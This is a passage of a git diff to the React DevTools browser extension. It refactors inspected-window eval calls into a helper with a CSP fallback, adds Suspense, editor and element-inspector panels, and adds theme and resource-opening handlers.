+  const tags: Array<HTMLLinkElement | HTMLStyleElement> = [];
 
   // eslint-disable-next-line no-for-of-loops/no-for-of-loops
   for (const linkTag of document.getElementsByTagName('link')) {
@@ -11,11 +20,23 @@ function cloneStyleTags() {
         newLinkTag.setAttribute(attribute.nodeName, attribute.nodeValue);
       }
 
-      linkTags.push(newLinkTag);
+      tags.push(newLinkTag);
     }
   }
 
-  return linkTags;
-}
+  // eslint-disable-next-line no-for-of-loops/no-for-of-loops
+  for (const styleTag of document.getElementsByTagName('style')) {
+    const newStyleTag = document.createElement('style');
+
+    // eslint-disable-next-line no-for-of-loops/no-for-of-loops
+    for (const attribute of styleTag.attributes) {
+      newStyleTag.setAttribute(attribute.nodeName, attribute.nodeValue);
+    }
 
-export default cloneStyleTags;
+    newStyleTag.textContent = styleTag.textContent;
+
+    tags.push(newStyleTag);
+  }
+
+  return tags;
+}
diff --git a/packages/react-devtools-extensions/src/main/elementSelection.js b/packages/react-devtools-extensions/src/main/elementSelection.js
index 54d5422776cb..10dd81dd634a 100644
--- a/packages/react-devtools-extensions/src/main/elementSelection.js
+++ b/packages/react-devtools-extensions/src/main/elementSelection.js
@@ -1,13 +1,12 @@
-/* global chrome */
+import {evalInInspectedWindow} from './evalInInspectedWindow';
 
 export function setBrowserSelectionFromReact() {
   // This is currently only called on demand when you press "view DOM".
   // In the future, if Chrome adds an inspect() that doesn't switch tabs,
   // we could make this happen automatically when you select another component.
-  chrome.devtools.inspectedWindow.eval(
-    '(window.__REACT_DEVTOOLS_GLOBAL_HOOK__.$0 !== $0) ?' +
-      '(inspect(window.__REACT_DEVTOOLS_GLOBAL_HOOK__.$0), true) :' +
-      'false',
+  evalInInspectedWindow(
+    'setBrowserSelectionFromReact',
+    [],
     (didSelectionChange, evalError) => {
       if (evalError) {
         console.error(evalError);
@@ -19,10 +18,9 @@ export function setBrowserSelectionFromReact() {
 export function setReactSelectionFromBrowser(bridge) {
   // When the user chooses a different node in the browser Elements tab,
   // copy it over to the hook object so that we can sync the selection.
-  chrome.devtools.inspectedWindow.eval(
-    '(window.__REACT_DEVTOOLS_GLOBAL_HOOK__ && window.__REACT_DEVTOOLS_GLOBAL_HOOK__.$0 !== $0) ?' +
-      '(window.__REACT_DEVTOOLS_GLOBAL_HOOK__.$0 = $0, true) :' +
-      'false',
+  evalInInspectedWindow(
+    'setReactSelectionFromBrowser',
+    [],
     (didSelectionChange, evalError) => {
       if (evalError) {
         console.error(evalError);
@@ -34,8 +32,8 @@ export function setReactSelectionFromBrowser(bridge) {
           return;
         }
 
-        // Remember to sync the selection next time we show Components tab.
-        bridge.send('syncSelectionFromNativeElementsPanel');
+        // Remember to sync the selection next time we show inspected element
+        bridge.send('syncSelectionFromBuiltinElementsPanel');
       }
     },
   );
diff --git a/packages/react-devtools-extensions/src/main/evalInInspectedWindow.js b/packages/react-devtools-extensions/src/main/evalInInspectedWindow.js
new file mode 100644
index 000000000000..27a339f4e8ae
--- /dev/null
+++ b/packages/react-devtools-extensions/src/main/evalInInspectedWindow.js
@@ -0,0 +1,116 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {EvalScriptIds} from '../evalScripts';
+
+import {evalScripts} from '../evalScripts';
+
+type ExceptionInfo = {
+  code: ?string,
+  description: ?string,
+  isError: boolean,
+  isException: boolean,
+  value: any,
+};
+
+const EVAL_TIMEOUT = 1000 * 10;
+
+let evalRequestId = 0;
+const evalRequestCallbacks = new Map<
+  number,
+  (value: {result: any, error: any}) => void,
+>();
+
+function fallbackEvalInInspectedWindow(
+  scriptId: EvalScriptIds,
+  args: any[],
+  callback: (value: any, exceptionInfo: ?ExceptionInfo) => void,
+) {
+  if (!evalScripts[scriptId]) {
+    throw new Error(`No eval script with id "${scriptId}" exists.`);
+  }
+  const code = evalScripts[scriptId].code.apply(null, args);
+  const tabId = chrome.devtools.inspectedWindow.tabId;
+  const requestId = evalRequestId++;
+  chrome.runtime.sendMessage({
+    source: 'devtools-page',
+    payload: {
+      type: 'eval-in-inspected-window',
+      tabId,
+      requestId,
+      scriptId,
+      args,
+    },
+  });
+  const timeout = setTimeout(() => {
+    evalRequestCallbacks.delete(requestId);
+    if (callback) {
+      callback(null, {
+        code,
+        description:
+          'Timed out while waiting for eval response from the inspected window.',
+        isError: true,
+        isException: false,
+        value: undefined,
+      });
+    }
+  }, EVAL_TIMEOUT);
+  evalRequestCallbacks.set(requestId, ({result, error}) => {
+    clearTimeout(timeout);
+    evalRequestCallbacks.delete(requestId);
+    if (callback) {
+      if (error) {
+        callback(null, {
+          code,
+          description: undefined,
+          isError: false,
+          isException: true,
+          value: error,
+        });
+        return;
+      }
+      callback(result, null);
+    }
+  });
+}
+
+export function evalInInspectedWindow(
+  scriptId: EvalScriptIds,
+  args: any[],
+  callback: (value: any, exceptionInfo: ?ExceptionInfo) => void,
+) {
+  if (!evalScripts[scriptId]) {
+    throw new Error(`No eval script with id "${scriptId}" exists.`);
+  }
+  const code = evalScripts[scriptId].code.apply(null, args);
+  chrome.devtools.inspectedWindow.eval(code, (result, exceptionInfo) => {
+    if (!exceptionInfo) {
+      callback(result, exceptionInfo);
+      return;
+    }
+    // If an exception (e.g. CSP Blocked) occurred,
+    // fallback to the content script eval context
+    fallbackEvalInInspectedWindow(scriptId, args, callback);
+  });
+}
+
+chrome.runtime.onMessage.addListener(({payload, source}) => {
+  if (source === 'react-devtools-background') {
+    switch (payload?.type) {
+      case 'eval-in-inspected-window-response': {
+        const {requestId, result, error} = payload;
+        const callback = evalRequestCallbacks.get(requestId);
+        if (callback) {
+          callback({result, error});
+        }
+        break;
+      }
+    }
+  }
+});
diff --git a/packages/react-devtools-extensions/src/main/fetchFileWithCaching.js b/packages/react-devtools-extensions/src/main/fetchFileWithCaching.js
index 67725e27d8a7..f8863372ff93 100644
--- a/packages/react-devtools-extensions/src/main/fetchFileWithCaching.js
+++ b/packages/react-devtools-extensions/src/main/fetchFileWithCaching.js
@@ -1,6 +1,6 @@
 /* global chrome */
 
-import {normalizeUrl} from 'react-devtools-shared/src/utils';
+import {normalizeUrlIfValid} from 'react-devtools-shared/src/utils';
 import {__DEBUG__} from 'react-devtools-shared/src/constants';
 
 let debugIDCounter = 0;
@@ -78,11 +78,23 @@ const fetchFromNetworkCache = (url, resolve, reject) => {
   });
 };
 
+const pendingFetchRequests = new Set();
+function pendingFetchRequestsCleanup({payload, source}) {
+  if (source === 'react-devtools-background') {
+    switch (payload?.type) {
+      case 'fetch-file-with-cache-complete':
+      case 'fetch-file-with-cache-error':
+        pendingFetchRequests.delete(payload.url);
+    }
+  }
+}
+chrome.runtime.onMessage.addListener(pendingFetchRequestsCleanup);
+
 const fetchFromPage = async (url, resolve, reject) => {
   debugLog('[main] fetchFromPage()', url);
 
   function onPortMessage({payload, source}) {
-    if (source === 'react-devtools-background') {
+    if (source === 'react-devtools-background' && payload?.url === url) {
       switch (payload?.type) {
         case 'fetch-file-with-cache-complete':
           chrome.runtime.onMessage.removeListener(onPortMessage);
@@ -97,7 +109,11 @@ const fetchFromPage = async (url, resolve, reject) => {
   }
 
   chrome.runtime.onMessage.addListener(onPortMessage);
+  if (pendingFetchRequests.has(url)) {
+    return;
+  }
 
+  pendingFetchRequests.add(url);
   chrome.runtime.sendMessage({
     source: 'devtools-page',
     payload: {
@@ -117,7 +133,7 @@ async function fetchFileWithCaching(url: string): Promise<string> {
       chrome.devtools.inspectedWindow.getResources(r => resolve(r)),
     );
 
-    const normalizedReferenceURL = normalizeUrl(url);
+    const normalizedReferenceURL = normalizeUrlIfValid(url);
     const resource = resources.find(r => r.url === normalizedReferenceURL);
 
     if (resource != null) {
diff --git a/packages/react-devtools-extensions/src/main/index.js b/packages/react-devtools-extensions/src/main/index.js
index 5422567db79f..0072b6934585 100644
--- a/packages/react-devtools-extensions/src/main/index.js
+++ b/packages/react-devtools-extensions/src/main/index.js
@@ -1,4 +1,14 @@
-/* global chrome */
+/* global chrome, ExtensionRuntimePort */
+/** @flow */
+
+import type {RootType} from 'react-dom/src/client/ReactDOMRoot';
+import type {FrontendBridge, Message} from 'react-devtools-shared/src/bridge';
+import type {
+  TabID,
+  ViewElementSource,
+} from 'react-devtools-shared/src/devtools/views/DevTools';
+import type {SourceSelection} from 'react-devtools-shared/src/devtools/views/Editor/EditorPane';
+import type {Element} from 'react-devtools-shared/src/frontend/types';
 
 import {createElement} from 'react';
 import {flushSync} from 'react-dom';
@@ -16,25 +26,40 @@ import {
   LOCAL_STORAGE_TRACE_UPDATES_ENABLED_KEY,
 } from 'react-devtools-shared/src/constants';
 import {logEvent} from 'react-devtools-shared/src/Logger';
+import {
+  getAlwaysOpenInEditor,
+  getOpenInEditorURL,
+  normalizeUrlIfValid,
+} from 'react-devtools-shared/src/utils';
+import {checkConditions} from 'react-devtools-shared/src/devtools/views/Editor/utils';
+import * as parseHookNames from 'react-devtools-shared/src/hooks/parseHookNames';
 
 import {
   setBrowserSelectionFromReact,
   setReactSelectionFromBrowser,
 } from './elementSelection';
+import {viewAttributeSource} from './sourceSelection';
+
+import {evalInInspectedWindow} from './evalInInspectedWindow';
 import {startReactPolling} from './reactPolling';
-import cloneStyleTags from './cloneStyleTags';
+import {cloneStyleTags} from './cloneStyleTags';
 import fetchFileWithCaching from './fetchFileWithCaching';
 import injectBackendManager from './injectBackendManager';
-import syncSavedPreferences from './syncSavedPreferences';
 import registerEventsLogger from './registerEventsLogger';
 import getProfilingFlags from './getProfilingFlags';
 import debounce from './debounce';
 import './requestAnimationFramePolyfill';
 
+const resolvedParseHookNames = Promise.resolve(parseHookNames);
+// DevTools assumes this is a dynamically imported module. Since we outline
+// workers in this bundle, we can sync require the module since it's just a thin
+// wrapper around calling the worker.
+const hookNamesModuleLoaderFunction = () => resolvedParseHookNames;
+
 function createBridge() {
   bridge = new Bridge({
     listen(fn) {
-      const bridgeListener = message => fn(message);
+      const bridgeListener = (message: Message) => fn(message);
       // Store the reference so that we unsubscribe from the same object.
       const portOnMessage = port.onMessage;
       portOnMessage.addListener(bridgeListener);
@@ -54,11 +79,11 @@ function createBridge() {
 
   bridge.addListener('reloadAppForProfiling', () => {
     localStorageSetItem(LOCAL_STORAGE_SUPPORTS_PROFILING_KEY, 'true');
-    chrome.devtools.inspectedWindow.eval('window.location.reload();');
+    evalInInspectedWindow('reload', [], () => {});
   });
 
   bridge.addListener(
-    'syncSelectionToNativeElementsPanel',
+    'syncSelectionToBuiltinElementsPanel',
     setBrowserSelectionFromReact,
   );
 
@@ -71,12 +96,48 @@ function createBridge() {
     );
   });
 
+  const sourcesPanel = chrome.devtools.panels.sources;
+
   const onBrowserElementSelectionChanged = () =>
     setReactSelectionFromBrowser(bridge);
+  const onBrowserSourceSelectionChanged = (location: {
+    url: string,
+    startLine: number,
+    startColumn: number,
+    endLine: number,
+    endColumn: number,
+  }) => {
+    if (
+      currentSelectedSource === null ||
+      currentSelectedSource.url !== location.url
+    ) {
+      currentSelectedSource = {
+        url: location.url,
+        selectionRef: {
+          // We use 1-based line and column, Chrome provides them 0-based.
+          line: location.startLine + 1,
+          column: location.startColumn + 1,
+        },
+      };
+      // Rerender with the new file selection.
+      render();
+    } else {
+      // Update the ref to the latest position without updating the url. No need to rerender.
+      const selectionRef = currentSelectedSource.selectionRef;
+      selectionRef.line = location.startLine + 1;
+      selectionRef.column = location.startColumn + 1;
+    }
+  };
   const onBridgeShutdown = () => {
     chrome.devtools.panels.elements.onSelectionChanged.removeListener(
       onBrowserElementSelectionChanged,
     );
+    if (sourcesPanel && sourcesPanel.onSelectionChanged) {
+      currentSelectedSource = null;
+      sourcesPanel.onSelectionChanged.removeListener(
+        onBrowserSourceSelectionChanged,
+      );
+    }
   };
 
   bridge.addListener('shutdown', onBridgeShutdown);
@@ -84,6 +145,11 @@ function createBridge() {
   chrome.devtools.panels.elements.onSelectionChanged.addListener(
     onBrowserElementSelectionChanged,
   );
+  if (sourcesPanel && sourcesPanel.onSelectionChanged) {
+    sourcesPanel.onSelectionChanged.addListener(
+      onBrowserSourceSelectionChanged,
+    );
+  }
 }
 
 function createBridgeAndStore() {
@@ -101,6 +167,10 @@ function createBridgeAndStore() {
     supportsClickToInspect: true,
   });
 
+  store.addListener('settingsUpdated', (hookSettings, componentFilters) => {
+    chrome.storage.local.set({...hookSettings, componentFilters});
+  });
+
   if (!isProfiling) {
     // We previously stored this in performCleanup function
     store.profilerStore.profilingData = profilingData;
@@ -110,43 +180,35 @@ function createBridgeAndStore() {
   // Otherwise, the Store may miss important initial tree op codes.
   injectBackendManager(chrome.devtools.inspectedWindow.tabId);
 
-  const viewAttributeSourceFunction = (id, path) => {
+  const viewAttributeSourceFunction = (
+    id: Element['id'],
+    path: Array<string | number>,
+  ) => {
     const rendererID = store.getRendererIDForElement(id);
     if (rendererID != null) {
-      // Ask the renderer interface to find the specified attribute,
-      // and store it as a global variable on the window.
-      bridge.send('viewAttributeSource', {id, path, rendererID});
-
-      setTimeout(() => {
-        // Ask Chrome to display the location of the attribute,
-        // assuming the renderer found a match.
-        chrome.devtools.inspectedWindow.eval(`
-                if (window.$attribute != null) {
-                  inspect(window.$attribute);
-                }
-              `);
-      }, 100);
+      viewAttributeSource(rendererID, id, path);
     }
   };
 
-  const viewElementSourceFunction = (source, symbolicatedSource) => {
-    const {sourceURL, line, column} = symbolicatedSource
+  const viewElementSourceFunction: ViewElementSource = (
+    source,
+    symbolicatedSource,
+  ) => {
+    const [, sourceURL, line, column] = symbolicatedSource
       ? symbolicatedSource
       : source;
 
     // We use 1-based line and column, Chrome expects them 0-based.
-    chrome.devtools.panels.openResource(sourceURL, line - 1, column - 1);
-  };
-
-  // TODO (Webpack 5) Hopefully we can remove this prop after the Webpack 5 migration.
-  const hookNamesModuleLoaderFunction = () =>
-    import(
-      /* webpackChunkName: 'parseHookNames' */ 'react-devtools-shared/src/hooks/parseHookNames'
+    chrome.devtools.panels.openResource(
+      normalizeUrlIfValid(sourceURL),
+      line - 1,
+      column - 1,
     );
+  };
 
   root = createRoot(document.createElement('div'));
 
-  render = (overrideTab = mostRecentOverrideTab) => {
+  render = (overrideTab: TabID | null = mostRecentOverrideTab) => {
     mostRecentOverrideTab = overrideTab;
 
     root.render(
@@ -154,13 +216,17 @@ function createBridgeAndStore() {
         bridge,
         browserTheme: getBrowserTheme(),
         componentsPortalContainer,
+        inspectedElementPortalContainer,
+        profilerPortalContainer,
+        editorPortalContainer,
+        currentSelectedSource,
         enabledInspectedElementContextMenu: true,
         fetchFileWithCaching,
         hookNamesModuleLoaderFunction,
         overrideTab,
-        profilerPortalContainer,
         showTabBar: false,
         store,
+        suspensePortalContainer,
         warnIfUnsupportedVersionDetected: true,
         viewAttributeSourceFunction,
         // Firefox doesn't support chrome.devtools.panels.openResource yet
@@ -171,7 +237,9 @@ function createBridgeAndStore() {
   };
 }
 
-function ensureInitialHTMLIsCleared(container) {
+function ensureInitialHTMLIsCleared(
+  container: HTMLElement & {_hasInitialHTMLBeenCleared?: boolean},
+) {
   if (container._hasInitialHTMLBeenCleared) {
     return;
   }
@@ -195,7 +263,7 @@ function createComponentsPanel() {
   }
 
   chrome.devtools.panels.create(
-    __IS_CHROME__ || __IS_EDGE__ ? '⚛️ Components' : 'Components',
+    __IS_CHROME__ || __IS_EDGE__ ? 'Components ⚛' : 'Components',
     __IS_EDGE__ ? 'icons/production.svg' : '',
     'panel.html',
     createdPanel => {
@@ -213,12 +281,62 @@ function createComponentsPanel() {
         }
       });
 
-      // TODO: we should listen to createdPanel.onHidden to unmount some listeners
-      // and potentially stop highlighting
+      createdPanel.onShown.addListener(() => {
+        bridge.emit('extensionComponentsPanelShown');
+      });
+      createdPanel.onHidden.addListener(() => {
+        bridge.emit('extensionComponentsPanelHidden');
+      });
     },
   );
 }
 
+function createElementsInspectPanel() {
+  if (inspectedElementPortalContainer) {
+    // Panel is created and user opened it at least once
+    ensureInitialHTMLIsCleared(inspectedElementPortalContainer);
+    render();
+
+    return;
+  }
+
+  if (inspectedElementPane) {
+    // Panel is created, but wasn't opened yet, so no document is present for it
+    return;
+  }
+
+  const elementsPanel = chrome.devtools.panels.elements;
+  if (__IS_FIREFOX__ || !elementsPanel || !elementsPanel.createSidebarPane) {
+    // Firefox will not pass the window to the onShown listener despite setPage
+    // being called.
+    // See https://bugzilla.mozilla.org/show_bug.cgi?id=2010549
+
+    // May not be supported in some browsers.
+    // See https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools/panels/ElementsPanel/createSidebarPane#browser_compatibility
+    return;
+  }
+
+  elementsPanel.createSidebarPane('React Element ⚛', createdPane => {
+    inspectedElementPane = createdPane;
+
+    createdPane.setPage('panel.html');
+    createdPane.setHeight('75px');
+
+    createdPane.onShown.addListener(portal => {
+      inspectedElementPortalContainer = portal.container;
+      if (inspectedElementPortalContainer != null && render) {
+        ensureInitialHTMLIsCleared(inspectedElementPortalContainer);
+        bridge.send('syncSelectionFromBuiltinElementsPanel');
+
+        render();
+        portal.injectStyles(cloneStyleTags);
+
+        logEvent({event_name: 'selected-inspected-element-pane'});
+      }
+    });
+  });
+}
+
 function createProfilerPanel() {
   if (profilerPortalContainer) {
     // Panel is created and user opened it at least once
@@ -234,7 +352,7 @@ function createProfilerPanel() {
   }
 
   chrome.devtools.panels.create(
-    __IS_CHROME__ || __IS_EDGE__ ? '⚛️ Profiler' : 'Profiler',
+    __IS_CHROME__ || __IS_EDGE__ ? 'Profiler ⚛' : 'Profiler',
     __IS_EDGE__ ? 'icons/production.svg' : '',
     'panel.html',
     createdPanel => {
@@ -255,6 +373,82 @@ function createProfilerPanel() {
   );
 }
 
+function createSourcesEditorPanel() {
+  if (editorPortalContainer) {
+    // Panel is created and user opened it at least once
+    ensureInitialHTMLIsCleared(editorPortalContainer);
+    render();
+
+    return;
+  }
+
+  if (editorPane) {
+    // Panel is created, but wasn't opened yet, so no document is present for it
+    return;
+  }
+
+  const sourcesPanel = chrome.devtools.panels.sources;
+  if (!sourcesPanel || !sourcesPanel.createSidebarPane) {
+    // Firefox doesn't currently support extending the source panel.
+    return;
+  }
+
+  sourcesPanel.createSidebarPane('Code Editor ⚛', createdPane => {
+    editorPane = createdPane;
+
+    createdPane.setPage('panel.html');
+    createdPane.setHeight('75px');
+
+    createdPane.onShown.addListener(portal => {
+      editorPortalContainer = portal.container;
+      if (editorPortalContainer != null && render) {
+        ensureInitialHTMLIsCleared(editorPortalContainer);
+
+        render();
+        portal.injectStyles(cloneStyleTags);
+
+        logEvent({event_name: 'selected-editor-pane'});
+      }
+    });
+  });
+}
+
+function createSuspensePanel() {
+  if (suspensePortalContainer) {
+    // Panel is created and user opened it at least once
+    ensureInitialHTMLIsCleared(suspensePortalContainer);
+    render('suspense');
+
+    return;
+  }
+
+  if (suspensePanel) {
+    // Panel is created, but wasn't opened yet, so no document is present for it
+    return;
+  }
+
+  chrome.devtools.panels.create(
+    __IS_CHROME__ || __IS_EDGE__ ? 'Suspense ⚛' : 'Suspense',
+    __IS_EDGE__ ? 'icons/production.svg' : '',
+    'panel.html',
+    createdPanel => {
+      suspensePanel = createdPanel;
+
+      createdPanel.onShown.addListener(portal => {
+        suspensePortalContainer = portal.container;
+        if (suspensePortalContainer != null && render) {
+          ensureInitialHTMLIsCleared(suspensePortalContainer);
+
+          render('suspense');
+          portal.injectStyles(cloneStyleTags);
+
+          logEvent({event_name: 'selected-suspense-tab'});
+        }
+      });
+    },
+  );
+}
+
 function performInTabNavigationCleanup() {
   // Potentially, if react hasn't loaded yet and user performs in-tab navigation
   clearReactPollingInstance();
@@ -266,7 +460,12 @@ function performInTabNavigationCleanup() {
 
   // If panels were already created, and we have already mounted React root to display
   // tabs (Components or Profiler), we should unmount root first and render them again
-  if ((componentsPortalContainer || profilerPortalContainer) && root) {
+  if (
+    (componentsPortalContainer ||
+      profilerPortalContainer ||
+      suspensePortalContainer) &&
+    root
+  ) {
     // It's easiest to recreate the DevTools panel (to clean up potential stale state).
     // We can revisit this in the future as a small optimization.
     // This should also emit bridge.shutdown, but only if this root was mounted
@@ -286,17 +485,22 @@ function performInTabNavigationCleanup() {
   // Do not clean mostRecentOverrideTab on purpose, so we remember last opened
   // React DevTools tab, when user does in-tab navigation
 
-  store = null;
-  bridge = null;
-  render = null;
-  root = null;
+  store = (null: $FlowFixMe);
+  bridge = (null: $FlowFixMe);
+  render = (null: $FlowFixMe);
+  root = (null: $FlowFixMe);
 }
 
 function performFullCleanup() {
   // Potentially, if react hasn't loaded yet and user closed the browser DevTools
   clearReactPollingInstance();
 
-  if ((componentsPortalContainer || profilerPortalContainer) && root) {
+  if (
+    (componentsPortalContainer ||
+      profilerPortalContainer ||
+      suspensePortalContainer) &&
+    root
+  ) {
     // This should also emit bridge.shutdown, but only if this root was mounted
     flushSync(() => root.unmount());
   } else {
@@ -305,18 +509,19 @@ function performFullCleanup() {
 
   componentsPortalContainer = null;
   profilerPortalContainer = null;
-  root = null;
+  suspensePortalContainer = null;
+  root = (null: $FlowFixMe);
 
   mostRecentOverrideTab = null;
-  store = null;
-  bridge = null;
-  render = null;
+  store = (null: $FlowFixMe);
+  bridge = (null: $FlowFixMe);
+  render = (null: $FlowFixMe);
 
   port?.disconnect();
-  port = null;
+  port = (null: $FlowFixMe);
 }
 
-function connectExtensionPort() {
+function connectExtensionPort(): void {
   if (port) {
     throw new Error('DevTools port was already connected');
   }
@@ -340,7 +545,7 @@ function connectExtensionPort() {
   // so, when we call `port.disconnect()` from this script,
   // this should not trigger this callback and port reconnection
   port.onDisconnect.addListener(() => {
-    port = null;
+    port = (null: $FlowFixMe);
     connectExtensionPort();
   });
 }
@@ -352,10 +557,11 @@ function mountReactDevTools() {
 
   createBridgeAndStore();
 
-  setReactSelectionFromBrowser(bridge);
-
   createComponentsPanel();
   createProfilerPanel();
+  createSourcesEditorPanel();
+  createElementsInspectPanel();
+  createSuspensePanel();
 }
 
 let reactPollingInstance = null;
@@ -376,6 +582,12 @@ function showNoReactDisclaimer() {
       '<h1 class="no-react-disclaimer">Looks like this page doesn\'t have React, or it hasn\'t been loaded yet.</h1>';
     delete profilerPortalContainer._hasInitialHTMLBeenCleared;
   }
+
+  if (suspensePortalContainer) {
+    suspensePortalContainer.innerHTML =
+      '<h1 class="no-react-disclaimer">Looks like this page doesn\'t have React, or it hasn\'t been loaded yet.</h1>';
+    delete suspensePortalContainer._hasInitialHTMLBeenCleared;
+  }
 }
 
 function mountReactDevToolsWhenReactHasLoaded() {
@@ -386,39 +598,49 @@ function mountReactDevToolsWhenReactHasLoaded() {
   );
 }
 
-let bridge = null;
+let bridge: FrontendBridge = (null: $FlowFixMe);
 let lastSubscribedBridgeListener = null;
-let store = null;
+let store: Store = (null: $FlowFixMe);
 
 let profilingData = null;
 
 let componentsPanel = null;
 let profilerPanel = null;
+let suspensePanel = null;
+let editorPane = null;
+let inspectedElementPane = null;
 let componentsPortalContainer = null;
 let profilerPortalContainer = null;
+let suspensePortalContainer = null;
+let editorPortalContainer = null;
+let inspectedElementPortalContainer = null;
 
-let mostRecentOverrideTab = null;
-let render = null;
-let root = null;
+let mostRecentOverrideTab: null | TabID = null;
+let render: (overrideTab?: TabID) => void = (null: $FlowFixMe);
+let root: RootType = (null: $FlowFixMe);
 
-let port = null;
+let currentSelectedSource: null | SourceSelection = null;
 
-// Re-initialize saved filters on navigation,
-// since global values stored on window get reset in this case.
-chrome.devtools.network.onNavigated.addListener(syncSavedPreferences);
+let port: ExtensionRuntimePort = (null: $FlowFixMe);
 
 // In case when multiple navigation events emitted in a short period of time
 // This debounced callback primarily used to avoid mounting React DevTools multiple times, which results
 // into subscribing to the same events from Bridge and window multiple times
 // In this case, we will handle `operations` event twice or more and user will see
 // `Cannot add node "1" because a node with that id is already in the Store.`
-const debouncedOnNavigatedListener = debounce(() => {
+const debouncedMountReactDevToolsCallback = debounce(
+  mountReactDevToolsWhenReactHasLoaded,
+  500,
+);
+
+// Clean up everything, but start mounting React DevTools panels if user stays at this page
+function onNavigatedToOtherPage() {
   performInTabNavigationCleanup();
-  mountReactDevToolsWhenReactHasLoaded();
-}, 500);
+  debouncedMountReactDevToolsCallback();
+}
 
 // Cleanup previous page state and remount everything
-chrome.devtools.network.onNavigated.addListener(debouncedOnNavigatedListener);
+chrome.devtools.network.onNavigated.addListener(onNavigatedToOtherPage);
 
 // Should be emitted when browser DevTools are closed
 if (__IS_FIREFOX__) {
@@ -430,5 +652,52 @@ if (__IS_FIREFOX__) {
 
 connectExtensionPort();
 
-syncSavedPreferences();
 mountReactDevToolsWhenReactHasLoaded();
+
+function onThemeChanged() {
+  // Rerender with the new theme
+  render();
+}
+
+if (chrome.devtools.panels.setThemeChangeHandler) {
+  // Chrome
+  chrome.devtools.panels.setThemeChangeHandler(onThemeChanged);
+} else if (chrome.devtools.panels.onThemeChanged) {
+  // Firefox
+  chrome.devtools.panels.onThemeChanged.addListener(onThemeChanged);
+}
+
+// Firefox doesn't support resources handlers yet.
+if (chrome.devtools.panels.setOpenResourceHandler) {
+  chrome.devtools.panels.setOpenResourceHandler(
+    (
+      resource,
+      lineNumber = 1,
+      // The column is a new feature so we have to specify a default if it doesn't exist
+      columnNumber = 1,
+    ) => {
+      const alwaysOpenInEditor = getAlwaysOpenInEditor();
+      const editorURL = getOpenInEditorURL();
+      if (alwaysOpenInEditor && editorURL) {
+        const location = ['', resource.url, lineNumber, columnNumber];
+        const {url, shouldDisableButton} = checkConditions(editorURL, location);
+        if (!shouldDisableButton) {
+          window.open(url);
+          return;
+        }
+      }
+      // Otherwise fallback to the built-in behavior.
+      chrome.devtools.panels.openResource(
+        resource.url,
+        lineNumber - 1,
+        columnNumber - 1,
+        maybeError => {
+          if (maybeError && maybeError.isError) {
+            // Not a resource Chrome can open. Fallback to browser default behavior.
+            window.open(resource.url);
+          }
+        },
+      );
+    },
+  );
+}
diff --git a/packages/react-devtools-extensions/src/main/reactPolling.js b/packages/react-devtools-extensions/src/main/reactPolling.js
index 9bb034c6a109..d4b3c22e66e6 100644
--- a/packages/react-devtools-extensions/src/main/reactPolling.js
+++ b/packages/react-devtools-extensions/src/main/reactPolling.js
@@ -1,4 +1,4 @@
-/* global chrome */
+import {evalInInspectedWindow} from './evalInInspectedWindow';
 
 class CouldNotFindReactOnThePageError extends Error {
   constructor() {
@@ -26,8 +26,9 @@ export function startReactPolling(
 
   // This function will call onSuccess only if React was found and polling is not aborted, onError will be called for every other case
   function checkIfReactPresentInInspectedWindow(onSuccess, onError) {
-    chrome.devtools.inspectedWindow.eval(
-      'window.__REACT_DEVTOOLS_GLOBAL_HOOK__ && window.__REACT_DEVTOOLS_GLOBAL_HOOK__.renderers.size > 0',
+    evalInInspectedWindow(
+      'checkIfReactPresentInInspectedWindow',
+      [],
       (pageHasReact, exceptionInfo) => {
         if (status === 'aborted') {
           onError(
diff --git a/packages/react-devtools-extensions/src/main/registerEventsLogger.js b/packages/react-devtools-extensions/src/main/registerEventsLogger.js
index 5234866fd546..ec57d173e42c 100644
--- a/packages/react-devtools-extensions/src/main/registerEventsLogger.js
+++ b/packages/react-devtools-extensions/src/main/registerEventsLogger.js
@@ -4,14 +4,8 @@ import {registerDevToolsEventLogger} from 'react-devtools-shared/src/registerDev
 
 function registerEventsLogger() {
   registerDevToolsEventLogger('extension', async () => {
-    // TODO: after we upgrade to Firefox Manifest V3, chrome.tabs.query returns a Promise without the callback.
-    return new Promise(resolve => {
-      chrome.tabs.query({active: true}, tabs => {
-        resolve({
-          page_url: tabs[0]?.url,
-        });
-      });
-    });
+    const tabs = await chrome.tabs.query({active: true});
+    return {page_url: tabs[0]?.url};
   });
 }
 
diff --git a/packages/react-devtools-extensions/src/main/sourceSelection.js b/packages/react-devtools-extensions/src/main/sourceSelection.js
new file mode 100644
index 000000000000..49ee99eaa4a3
--- /dev/null
+++ b/packages/react-devtools-extensions/src/main/sourceSelection.js
@@ -0,0 +1,25 @@
+import {evalInInspectedWindow} from './evalInInspectedWindow';
+
+export function viewAttributeSource(rendererID, elementID, path) {
+  evalInInspectedWindow(
+    'viewAttributeSource',
+    [{rendererID, elementID, path}],
+    (didInspect, evalError) => {
+      if (evalError) {
+        console.error(evalError);
+      }
+    },
+  );
+}
+
+export function viewElementSource(rendererID, elementID) {
+  evalInInspectedWindow(
+    'viewElementSource',
+    [{rendererID, elementID}],
+    (didInspect, evalError) => {
+      if (evalError) {
+        console.error(evalError);
+      }
+    },
+  );
+}
diff --git a/packages/react-devtools-extensions/src/main/syncSavedPreferences.js b/packages/react-devtools-extensions/src/main/syncSavedPreferences.js
deleted file mode 100644
index 6ceed86fcd06..000000000000
--- a/packages/react-devtools-extensions/src/main/syncSavedPreferences.js
+++ /dev/null
@@ -1,38 +0,0 @@
-/* global chrome */
-
-import {
-  getAppendComponentStack,
-  getBreakOnConsoleErrors,
-  getSavedComponentFilters,
-  getShowInlineWarningsAndErrors,
-  getHideConsoleLogsInStrictMode,
-} from 'react-devtools-shared/src/utils';
-import {getBrowserTheme} from 'react-devtools-extensions/src/utils';
-
-// The renderer interface can't read saved component filters directly,
-// because they are stored in localStorage within the context of the extension.
-// Instead it relies on the extension to pass filters through.
-function syncSavedPreferences() {
-  chrome.devtools.inspectedWindow.eval(
-    `window.__REACT_DEVTOOLS_APPEND_COMPONENT_STACK__ = ${JSON.stringify(
-      getAppendComponentStack(),
-    )};
-    window.__REACT_DEVTOOLS_BREAK_ON_CONSOLE_ERRORS__ = ${JSON.stringify(
-      getBreakOnConsoleErrors(),
-    )};
-    window.__REACT_DEVTOOLS_COMPONENT_FILTERS__ = ${JSON.stringify(
